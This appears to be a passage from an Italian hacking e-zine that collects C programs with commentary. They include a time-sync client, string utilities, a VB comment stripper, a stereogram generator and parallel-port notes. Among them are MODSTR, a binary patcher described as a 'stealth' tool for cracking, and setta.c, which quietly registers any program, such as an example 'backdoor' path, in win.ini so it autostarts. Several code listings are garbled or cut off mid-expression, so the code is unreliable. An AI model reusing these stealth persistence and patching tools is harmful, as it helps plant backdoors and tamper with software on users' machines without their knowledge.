:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: OROFIN.C :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: //------------------------------------------------------------------------------ #include #include #include #include #include #include #include #define PP 0x0d #define L fscanf(f,"%s",ps) #define ORE mid(ps,0,p1) #define MIN mid(ps,p1+1,p2-p1-1) #define SEC mid(ps,p2+1,strlen(ps)-p2) #define SS "155.253.17.2" //------------------------------------------------------------------------------ // --------- Prototipi //------------------------------------------------------------------------------ char *mid(char *str,int pos,int nc); int instr(char *st1,char *st2,int pos); long jl(int day,int month,int year); // --------- Dichiarazioni costanti char mesi[12][4]={"Jan","Feb","Mar","Apr","May","Jun", "Jul","Aug","Sep","Oct","Nov","Dec"}; char giorni[7][4]={"Mon","Tue","Wed","Thu","Fri","Sat","Sun"}; //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ main(int nf,char **par) { // --------- Variabili e strutture WSAData a; SOCKET b; long gg; long g1,g2,g3; float pk; struct sockaddr_in c; int dp,n,m; char e[0xff]; FILE *f; char ps[50],pp[10]; int p1,p2; long sec1; struct time t; struct date d; // --------- Verifica della sintassi if(nf!=2){ printf("\n+----------------------------------------------------+\n"); printf("| OROLOGIO ATOMICO DEL CNR : CLIENT LOCALE |\n"); printf("| (c)2K Master www.spippolatori.com |\n"); printf("+----------------------------------------------------+\n"); printf("| Sintassi : OROFIN -[c|s] |\n"); printf("+----------------------------------------------------+\n"); printf("| OROFIN -c (controlla e visualizza l'ora del server)|\n"); printf("| OROFIN -s (sincronizza il pc locale col server) |\n"); printf("+----------------------------------------------------+\n"); exit(0); } if((!strstr(par[1],"-c"))&&(!strstr(par[1],"-s"))) { printf("\n+----------------------------------------------------+\n"); printf("| PARAMETRO NON CORRETTO |\n"); printf("+----------------------------------------------------+\n"); exit(0); } // --------- Recupera le informazioni dal server gg=WSAStartup(0x0101,&a); b = socket(AF_INET,SOCK_STREAM,0); c.sin_family = AF_INET; c.sin_port = htons(PP); c.sin_addr.s_addr = inet_addr(SS); dp=connect(b,(struct sockaddr *)&c,sizeof(c)); n=recv(b,e,sizeof(e),0); f=fopen("Ora_esatta.txt","wb"); for(m=1;m<=n; m++) fprintf(f,"%c",e[m-1]); fprintf(f,"%c",10); fclose(f); closesocket(b); // --------- Ora del PC gettime(&t); getdate(&d); // --------- Formatta i dati del server in stile dos printf("\nControllo dati Time-server atomic-clock CNR\n"); printf("------------------------------------------------\n"); f=fopen("Ora_esatta.txt","rb"); fgets(ps,50,f); printf("Remoto : %s",ps); g1=jl(0x001f,0x0005,0x07a9); g2=jl(d.da_day,d.da_mon,d.da_year); pk=abs(g2-g1); g1=fmod(pk,7); printf("Locale : %s %s %02d %2d:%02d:%02d %4d\n", giorni[g1+2],mesi[d.da_mon-1],d.da_day,t.ti_hour,t.ti_min,t.ti_sec,d.da_year); printf("------------------------------------------------\n"); printf("Remoto : Locale\n"); rewind(f); L;printf(" %4s : %4s ... Giorno della settimana\n",ps,giorni[g1+2]); L;printf(" %4s : %4s ... Mese\n",ps,mesi[d.da_mon-1]); for(m=0;m<12;m++)if(strstr(mesi[m],ps))d.da_mon=m+1; L;printf(" %4s : %4d ... Giorno del mese\n",ps,d.da_day); d.da_day=atoi(ps); L;p1=instr(ps,":",0);p2=instr(ps,":",p1+1); printf(" %4s : %4d ... Ore\n",ORE,t.ti_hour); t.ti_hour=atoi(ORE); printf(" %4s : %4d ... Minuti\n",MIN,t.ti_min); t.ti_min=atoi(MIN); printf(" %4s : %4d ... Secondi\n",SEC,t.ti_sec); sec1=atoi(ORE)*3600+atoi(MIN)*60+atoi(SEC)- t.ti_hour*3600-t.ti_min*60-t.ti_sec; t.ti_sec=atoi(SEC); L;printf(" %4s : %4d ... Anno\n",ps,d.da_year); d.da_year=atoi(ps); // --------- calcola la differenza in secondi tra i due timer // --------- senza considerare la data. printf("------------------------------------------------\n"); printf("Differenza Timer Server-Locale = %ld sec.\n",sec1); printf("------------------------------------------------\n\n"); fclose(f); // --------- Setta timer e data del pc locale con i dati ricevuti // --------- dall'orologio atomico del CNR. if(strstr(par[1],"-s")) { settime(&t); setdate(&d); printf("------------------------------------------------\n"); printf(" PC Locale sincronizzato.\n"); printf("------------------------------------------------\n"); } } // --------- fine //------------------------------------------------------------------------------ // --------- Procedure di supporto //------------------------------------------------------------------------------ char *mid(char *str,int pos,int nc) { char s[0xff]; int n,k=0; for(n=pos;n<=pos+nc-1;n++) s[k++]=str[n]; s[k]=0; return(s); } //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ int instr(char *st1,char *st2,int pos) { int tro,n,m; for(n=pos;n<=strlen(st1)-strlen(st2);n++){ tro=1; for(m=n;m<=n+strlen(st2)-1;m++) if(st1[m]!=st2[m-n])tro=0; if(tro==1)return(n);} return(-1); } //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ long jl(int gr,int ms,int an) { long un,du,tr,qu; if(an<100)an+=1900; if(an<1000)an+=2000; if(ms>2){tr=(long)(ms-3);qu=(long)an;} else{tr=(long)(ms+9);qu=(long)(an-1);} un=(qu/100); du=qu-(100*un); return((146097L*un)/4L+(1461L*du)/ 4L+(153L*tr+2)/5L+1721119L+(long)gr); } //------------------------------------------------------------------------------ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Come funziona? Basta compilarlo e chiamarlo senza parametri per avere un po' di aiuto. Cmq la sintassi e' questa (molto semplice ed immediata) OROFIN -c per controllare solamente l'ora e la data in arrivo dal server ed confrontarla con quella del proprio orologio in locale visualizzando i secondi di differenza. OROFIN -s per controllare e successivamente settare l'ora del proprio orologio con quella dell'orologio atomico del CNR. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 12. Tool per il post cracking rapido. //--------------------------------------------------------------------------------------------------- L'ho inserito sin dall'inizio come plugin per lo stealth installer 2 data la sua enorme utilita' e il funzionamento a sua volta completamente stealth. Lo replico qui per chi -impaurito- dalle opzioni (mi rendo conto!) non troppo semplici dello stealth installer non ha avuto ancora occasione di provarlo. Il funzionamento e la sintassi deicomandi e' questa: 1. MODSTR.exe [ versione 2 ] Modstr e' un plugin specifico per SI2 [ma nella toglie che possa essere usato anche separatamente ;-) ]. Serve per modificare in maniera anonima un programma qualsiasi .. sia esso un file di testo che un un eseguibile, in maniera sicura, veloce e sopratutto invisibile all'utente finale. SINTASSI : MODSTR STR: MODSTR HEX: ... ... MODSTR DEC: ... ... MODSTR STRASS: MODSTR HEXASS: ... MODSTR DECASS: ... MODSTR STRFIN: MODSTR HEXFIN: ... MODSTR DECFIN: ... MODSTR STRREL: MODSTR HEXREL: ... ... MODSTR DECREL: ... ... //--------------------------------------------------------------------------------- (modifica di stringhe ASCII) //--------------------------------------------------------------------------------- MODSTR STR: stringa_da = stringa da cercare nel programma nome_file e da modificare con stringa_a .. ogni occorrenza sara' cambiata. es: MODSTR c:\windows\prog.exe STR: Start Parti .. da ricordare che Parti e' una stringa diversa da parti o da parTi visto che il programma e' case-sensitive. //--------------------------------------------------------------------------------- MODSTR STRASS: inserisce nel file la stringa str a partire dalla posizione pos. es: MODSTR c:\windows\prog.exe STRASS: 0 PK cambia i primi due byte del file prog.exe in PK //--------------------------------------------------------------------------------- MODSTR STRFIN: stesse specifiche di STRASS: ma la posizione pos e' calcolata a partire dall'ultimo byte del file in questione. es: MODSTR c:\windows\prog.exe STRFIN: 5 PIPPO sostituisce gli ultimi 5 byte del file prog exe con la parola PIPPO. es: MODSTR c:\windows\prog.exe STRFIN: 0 PIPPO Aggiunge i bytes della parola PIPPO alla fine del file prog.exe //--------------------------------------------------------------------------------- MODSTR STRREL: stringa_da = stringa da cercare nel programma nome_file e da modificare con stringa_a .. sara' cambiata una sola occorrenza a partire dala locazione pos es: MODSTR c:\windows\prog.exe STRREL: 5000 Start Parti cambia la prima occorrenza che trova in prog.exe da Start a Parti ignorando i primi 5000 bytes. //--------------------------------------------------------------------------------- //--------------------------------------------------------------------------------- b. (modifica di dati in codice esadecimale) //--------------------------------------------------------------------------------- MODSTR HEX: da1 da2 da3 ... daN a1 a2 a3 ... aN cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN Cambia tutte le occorrenze che trova nel file MODSTR c:\windows\prog.exe 5 HEX: 53 74 61 72 74 50 61 72 74 69 //--------------------------------------------------------------------------------- MODSTR HEXASS: da1 da2 da3 ... daN sostituisce al file originale N byte a partire dalla locazione pos. MODSTR c:\windows\prog.exe HEXASS: 12384 53 74 61 FF 74 i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74 61 FF 75 //--------------------------------------------------------------------------------- MODSTR HEXFIN: da1 da2 da3 ... daN come sopra ma partendo dalla fine. (impostanto 0 come posizione o dichiarando una locazione inferiore al numero di bytes impostati l'eccedenza verra' aggiunta al file.) MODSTR c:\windows\prog.exe HEXFIN: 100 53 74 61 FF 74 1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe saranno 53 74 61 FF 75 //--------------------------------------------------------------------------------- MODSTR HEXREL: da1 da2 ... daN a1 a2 ... aN cambia la prima serie di dati esadecimali che trova uguali a da1..daN con a1..aN a partire dalla locazione POS. es: MODSTR c:\windows\prog.exe 3 STRREL: 5000 FF 0D 0a 20 20 20 a partire dal 5000'mo bytes del file prog.exe comincia a cercare una serie di dati FF+0D+0a se la trova la cambia (una sola volta) con 20+20+20 //--------------------------------------------------------------------------------- //--------------------------------------------------------------------------------- b. (modifica di dati in codice decimale) //--------------------------------------------------------------------------------- MODSTR DEC: da1 da2 da3 ... daN a1 a2 a3 ... aN cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN Cambia tutte le occorrenze che trova nel file MODSTR c:\windows\prog.exe 5 DEC: 53 74 61 72 74 50 61 72 74 69 //--------------------------------------------------------------------------------- MODSTR DECASS: da1 da2 da3 ... daN sostituisce al file originale N byte a partire dalla locazione pos. MODSTR c:\windows\prog.exe DECASS: 12384 53 74 61 255 74 i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74 61 255 75 //--------------------------------------------------------------------------------- MODSTR DECFIN: da1 da2 da3 ... daN come sopra ma partendo dalla fine. (impostanto 0 come posizione o dichiarando una locazione inferiore al numero di bytes impostati l'eccedenza verra' aggiunta al file.) MODSTR c:\windows\prog.exe DECFIN: 100 53 74 61 255 74 1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe saranno 53 74 61 255 75 //--------------------------------------------------------------------------------- MODSTR DECREL: da1 da2 ... daN a1 a2 ... aN cambia la prima serie di dati decimali che trova uguali a da1..daN con a1..aN a partire dalla locazione POS. es: MODSTR c:\windows\prog.exe 3 STRREL: 5000 255 13 10 32 32 32 a partire dal 5000'mo bytes del file prog.exe comincia a cercare una serie di dati 255+13+10 se la trova la cambia (una sola volta) con 32+32+32 //--------------------------------------------------------------------------------- a ruota il sorgente del programma : :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: MODSTR.C :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include #include #include #define xdigit(c)(toupper(c)-(((c)>'9')?'A'-10:'0')) #include unsigned int hs(char *cptr){ unsigned int i, j = 0; while (cptr && *cptr && isxdigit(*cptr)){ i=*cptr++-'0'; if(9strlen(file[4])){ printf("Dimensione errata delle stringhe"); exit(0);} c=strlen(file[3]); for(n=0;nstrlen(file[5])){ printf("Dimensione errata delle stringhe"); exit(0);} c=strlen(file[4]); for(n=0;n=0)fputc(a,fp2);} fclose(fp); fclose(fp2); remove(file[1]); rename("passa.exe",file[1]); } :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 13. Emulatore di funzioni basic per la gestione delle stringhe in c //--------------------------------------------------------------------------------------------------- che dire?.. alcune semplici funzioni per poter usare in C le comode funzioni basic mid, left, instr con due righe di esempio. Provare per credere. ;-) :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include char *mid(char *str,int pos,int nc); int instr(char *st1,char *st2,int pos); char *change(char *str, char *da, char *a); char *left(char *str, int nc); char *right(char *str, int nc); main() { // 0123456789012345678901234567890123456789012345678901234567890 char *p="prova c:#wind prova #syste prova m#oks prova "; clrscr(); printf("%s\n",mid(p,0,3)); printf("%d\n",instr(p,"prov",16)); printf("%s\n",change("\\cuccurullo pp","","pippo")); printf("%s\n",left("\\cuccurullo pp pippo",10)); printf("%s\n",right("\\cuccurullo pp pippo",3)); getch(); exit(0); } //------------------------------------------------------------------ // restituisce la substringa della stringa "str" // "nc" caratteri dopo "pos" compreso //------------------------------------------------------------------ char *mid(char *str,int pos,int nc) { char s[0xff]; int n,k=0; for(n=pos;n<=pos+nc-1;n++) s[k++]=str[n]; s[k]=0; return(s); } //------------------------------------------------------------------ //------------------------------------------------------------------ // restituisce la stringa "str" sostituendo la substringa // "da" con la substringa "a". Se "da" non viene trovata // restituisce "str" senza modifiche. //------------------------------------------------------------------ //------------------------------------------------------------------ char *change(char *str, char *da, char *a) { char s[0xff]; int pos=instr(str,da,0),k; if(pos<0)return(str); strcpy(s,mid(str,0,instr(str,da,0))); strcat(s,a); k=instr(str,da,0)+strlen(da); strcat(s,mid(str,k,strlen(str)-k)); return(s); } //------------------------------------------------------------------ //------------------------------------------------------------------ // trova la posizione della substringa "st2" in "st1" a partire // da "pos". Il primo carattere e' alla posizione 0. //------------------------------------------------------------------ int instr(char *st1,char *st2,int pos) { int tro,n,m; for(n=pos;n<=strlen(st1)-strlen(st2);n++){ tro=1; for(m=n;m<=n+strlen(st2)-1;m++) if(st1[m]!=st2[m-n])tro=0; if(tro==1)return(n);} return(-1); } //------------------------------------------------------------------ //------------------------------------------------------------------ // restituisce gli ultimi "nc" caratteri di "str" //------------------------------------------------------------------ char *left(char *str, int nc) { return(mid(str,strlen(str)-nc,nc)); } //------------------------------------------------------------------ //------------------------------------------------------------------ // restituisce i primi "nc" caratteri di "str" //------------------------------------------------------------------ char *right(char *str, int nc) { return(mid(str,0,nc)); } //------------------------------------------------------------------ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 14. Togliere i rem da un sorgente vb //--------------------------------------------------------------------------------------------------- hi hi .. Si trovano in giro un sacco di librerie per vb.. purtroppo sono spesso piene di remark che in un proprio programma -sfigurano- :)) Levare tutti i rem a mano e' una rottura di scatole. Farlo automaticamente invece e' piu' comodo anche se non proprio immediato. Sappiamo che un rem in VB e' inizilizzato tramite il carattere " ' " ascii=39 (nessuno usa piu' la dicitura REM al fine di evitare di mostrare agli altri di essere rimoasto ancorato agli standard del quick basic o peggio del gwbasic.. he he .. chissa' perche' poi .. sono linguaggi che io spesso uso ancora, avevano ed HANNO un loro fascino. Di certo il quick basic o il powerbasic (ma anche il gwbasic) offrono possibilita' di programamzione a basso livello su territori assolutamente inesplorati dal visual basic: interrupt, linguaggio macchina, ecc.. ) Ovviamente non e' possibile fare uno script che elimini tutto cio che trova dopo un ascii 39 fino a fine riga perche' esistono deicasi eccezionali che vanno considerati: ad esempio la riga : for n=1 to 100: a$=" pippo '(" + cstr$(n) + ")" : next n verrebbe stroncata senza pieta' come for n=1 to 100: a$=" pippo .. il vb chiuderebbe automaticamente la stringa a$ aggiungendo le virgolette e non dando nessun errore.. ma la libreria non funzionerebbe piu'. uno script per ovviare a questo (ed altri) inconvenienti simili e' il seguente: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: LEVAREMVB.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include main(int nf,char **file) { FILE *fp,*fp2; int a,k=0,v=-1; fp=fopen(file[1],"rb"); fp2=fopen("passa","wb"); while(!feof(fp)) { a=fgetc(fp); v=a==34?-v:v; k=a==39&&v<0?1:k; k=a==10||a==13?0:k; if(a>=0&&k==0)fputc(a,fp2); } fclose(fp); fclose(fp2); remove(file[1]); rename("passa",file[1]); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Per processare un file la sintassi sara' LEVAREM file_da_processare.vb XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 15. Creare stereogrammi 3d con poghe righe di c //--------------------------------------------------------------------------------------------------- Chi non conosce gli stereogrammi? Chi non si e' mai -spaccato gli occhi- cercando ci vedere al loro interno? ;-) Le prime volte la cosa risulta molto difficile, poi piano piano ci si prende la mano (o l'occhio) e via via vederli risulta sempre piu' facile fino a quando la cosa e' addirittura immediata. Hannop indiscutibilemnte una grande attrattiva su di noi perche' ci permettono di visualizzare una realta' tridimensionale trasformando solo col nostro cervello una immagine assolutamente piatta. Si trovano in rete una grande moltitudine di immagini e programmi per crearli: http://www.comlab.ox.ac.uk/archive/ , http://members.aol.com/ginbg/3dstereo/ , ecc.. Quindi tralasciero' la spiegazione tecnica di tutta la cosa che potrete trovare a ruota dei siti che ho sopra elencato. Quella che segue invece e' la -miniaturizzazione- di un programma noto che crea stereogrammi ascii. Uno stereogramma ascii e' una magica composizione di lettere random (tanto da sembrare uan specie di codice cifrato) ma guardandolo attentamente emerge dal suo interno un disegno sottostante in rilievo. Il disegnoche noi avremo nascosto tramite questo piccolo, efficiente e magico programma in C. L'utilizzo e' oltremodo semplice. Si crea un file di testo con l'immagine da nascondere (quella che poi risultera' in rilievo) as esempio -------------------- SPP.txt 11111111111111 1111111111111 1111111111111 11111111111111 1111111111111 1111111111111 11111111111111 1111111111111 1111111111111 11111 11111 1111 11111 1111 11111 11111 1111 11111 1111 11111 11111 1111 11111 1111 11111111111111 1111111111111 1111111111111 11111111111111 1111111111111 1111111111111 11111111111111 1111111111111 1111111111111 11111 11111 11111 11111 11111 11111 11111 11111 11111 11111111111111 11111 11111 11111111111111 11111 11111 11111111111111 11111 11111 -------------------- al posto dei numeri "1" si mettera' 2,3, ..9 al fine di ottenere poi nello stereogramma una maggiore profondita' dell'immagine in rilievo! il programma per l'elaborazione e' il seguente: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: STEREO.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include main(){ char m[0xaa],s[0xaa]; int un=0x10,du=0x47,tr,qu,ci; long se; time (&se); srand (se); while(memset(m,0x0,du+1),fgets(m,du+1,stdin)){ qu=0; s[du]=0; for(tr=0;tr=un&&tr=0x30&&ci<=0x39){ qu=1; s[tr]=s[tr-un+ci-0x30]; tr++;} s[tr++]=(qu||tr Uscita.txt si otterra' il file di testo Uscita.txt rappresentante lo stereogramma. q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y #|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh 2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^ vXjIU;R_$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0 )_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y #|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh 2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^ vXjIU;R_$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0 oppure RUN = nel caso uno o ambedue i comandi siano gia presenti (ad esempio nel caso si sia installato un programma che gia li sfrutta) e' possbile aggiungere -successivi- programmi da eseguire in cascata seprando i path e i nomi rispettivi tramite il segno "," (virgola) ad esempio load = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe oppure run = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe (tra RUN e LOAD ci sara' sicuramente una qualche differenza .. io non l'ho mai capita! :))) ad ogni modo il programma che segue inserisce stealth il nome di un programma nel win.ini rispettando le seguenti regole se trova una riga load aggiunge alla stessa il nome del programma separandolo da quello preesistente con una virgola altrimenti se trova una riga run aggiunge alla stessa il nome del programma separandolo da quello preesistente con una virgola altrimenti se non le trova cerca la sezione [windows] se la trova aggiunge una riga load= +--------+ | inizio | +---+----+ | /\ c'e' un comando load preimpostato? __________/ ?\___________________________ | \ns/ | | \/ +-------+ /\ c'e' una comando run preimpostato? | $ | aggiunge " , path\nome_file " ____/ ?\__________ +-------+ | \ns/ | | | \/ | fine | +--------+ |_____ | $ | aggiunge " , path\nome_file " | +--------+ | | | fine | /\ c'e' una sezione [windows]? ____/ ?\__________ | \ns/ | | \/ | | +--------+ fine | $ | aggiunge " load = path\nome_file " +--------+ | fine il programma: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: setta.c ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include int vedi(char *prog); char *tolo(char *a); int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { FILE *f,*f2; char s[100],s1[200],s2[200]; int trovato=0; int nf=_argc; char **file=_argv; if(nf<=1)exit(0); GetWindowsDirectory(s1,200); GetWindowsDirectory(s2,200); strcat(s1,"\\"); strcat(s1,"win.ini"); strcat(s2,"\\"); strcat(s2,"passa"); if(vedi(s1)<0)exit(0); f=fopen(s1,"rb"); f2=fopen(s2,"wb"); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("load=")))trovato=1;} if(trovato==1){ rewind(f); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("load="))){ s[strlen(s)-2]=0; strcat(s," , "); strcat(s,file[1]); strcat(s,"\r\n");}; fputs(s,f2);} goto fine;} trovato=0;rewind(f); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("run=")))trovato=1;} if(trovato==1){ rewind(f); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("run="))){ s[strlen(s)-2]=0; strcat(s," , "); strcat(s,file[1]); strcat(s,"\r\n");}; fputs(s,f2);} goto fine;} trovato=0;rewind(f); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("[windows]")))trovato=1;} if(trovato==1){ rewind(f); while(!feof(f)){ fgets(s,100,f); if(strstr(s,tolo("[windows]"))){ fputs(s,f2); strcpy(s,"load="); strcat(s,file[1]); strcat(s,"\r\n");}; fputs(s,f2);} goto fine;} fine: fclose(f); fclose(f2); remove(s1); rename(s2,s1); exit(0); } int vedi(char *prog) { struct ffblk ffblk; int ok; ok = findfirst(prog,&ffblk,0); if(ok>=0)return 1; else return -1; } char *tolo(char *a){ int i=0; char *c=(char *)malloc(strlen(a)+2); while((c[i]=tolower(a[i]))!=0)i++; return(c); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: sintassi: setta Con setta nome_file il parametro nome_file viene aggiunto al file win.ini con le specifiche di "autorun" pronto a partire cioe' al successivo riavvio di windows. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 17. automatismo software in c per l'output tramite la porta parallela //--------------------------------------------------------------------------------------------------- Utlilizzare l'interfaccia parallela (lpt) del computer avere a disposizione una linea di dati in output a 8 bit e' veramente elementare. Basta considerare queste semplici cose: 1 i pin da 2 a 9 della connettore parallelo corrispondono ai -dati- da 0 a 7 (i bytes che vengono inviati normalmente durante le operazioni di stampa ad esempio) Per settare uno o piu' di questi pin sul valore zero o uno e' sufficiente usare l'istruzione portb(Assegnamento,dato) dove dato e' il bytes da inviare. ad esempio 255 mettera' a 1 tutti i bit relativi ai dati da d0 a d7.. Dato d7 d6 d5 d4 d3 d2 d1 d0 255 1 1 1 1 1 1 1 1 137 1 0 0 0 1 0 0 1 6 0 0 0 0 0 1 1 0 ecc... "Assegnamento" e' l'indirizzo di assegnamento della porta parallela che si intendera' usare. Solitamente questo indirizzo e' o 0x378 0 0x278 .. ma io non lo so!? ..he he .. me lo immaginavo. Si puo' trovare facilmente con due righe di c //--------------------------------------------------------------- #include #include void main(void) { unsigned int far *ptraddr; unsigned int address; int a; ptraddr=(unsigned int far *)0x00000408; for (a = 0; a < 3; a++){ address = *ptraddr; if (address == 0) printf(" (vuoto) LPT%d \n",a+1); else printf(" 0x0%X LPT%d \n",address,a+1); *ptraddr++;} } //--------------------------------------------------------------- emh.. pero' a voler essere onesti si potrebbe trovare anche a mano solo col debug! hi hi hi basta controllare gli 8 bytes a seguire la locazione di memoria 0040:0008 cosi': >debug -d 0040:0008 L8 avendo una risposta tipo questa: 0040:0008 78 03 78 02 00 00 00 00 sapremmo subito di avere la LPT1 su 0x378 e la LPT2 su 0x278. (Lpt3/4 non presenti) Il programma in C fa la stessa cosa ma volete mettere lo stile!? :)) .. per quanto riguarda invece l'uso dei pin della parallela al fine di controllare un carico con una discreta potenza potremmo usare queste soluzioni. 1. visualizzazione degli stati dei pin Pin d0 d1 d2 d2 d3 __|__ __|__ __|__ __|__ __|__ \ / \ / \ / \ / \ / \./ Led \./ Led \./ Led \./ Led \./ Led --|-- --|-- --|-- --|-- --|-- | | | | | \ \ \ \ \ / 470 ohm / 470 ohm / 470 ohm / 470 ohm / 470 ohm \ \ \ \ \ | | | | | +----------+----------+----------+----------+---------- Pin 18-25 2. Utilizzo di un relais per il contollo di un carico ad elevata potenza. 12V | +------+ | __|__ Relais /^\ 1N4002 a 12v /---\ | | +------+ | | / 1N4148 4.7K |/ PIN Dx >----|>|-+--\/\/\/--| 2N2222 | |\ E +-|<|-+ | 1N4148 | | GNDallel >-----------+------+ parallela | GND Perfetto! :)) .. abbiamo tutto quello che ci serve. Costruiremo N circuiti di tipo (2) per comandare N carichi diversi. Max 8! Si potrebbero avere piu' carichi utili volendo perche' la periferica parallela usa anche altri bit oltre a quelli -data- : status e control. L'automatismo che avevo pensato e' un banalissimo programma in C che legge le impostazioni sequenziali 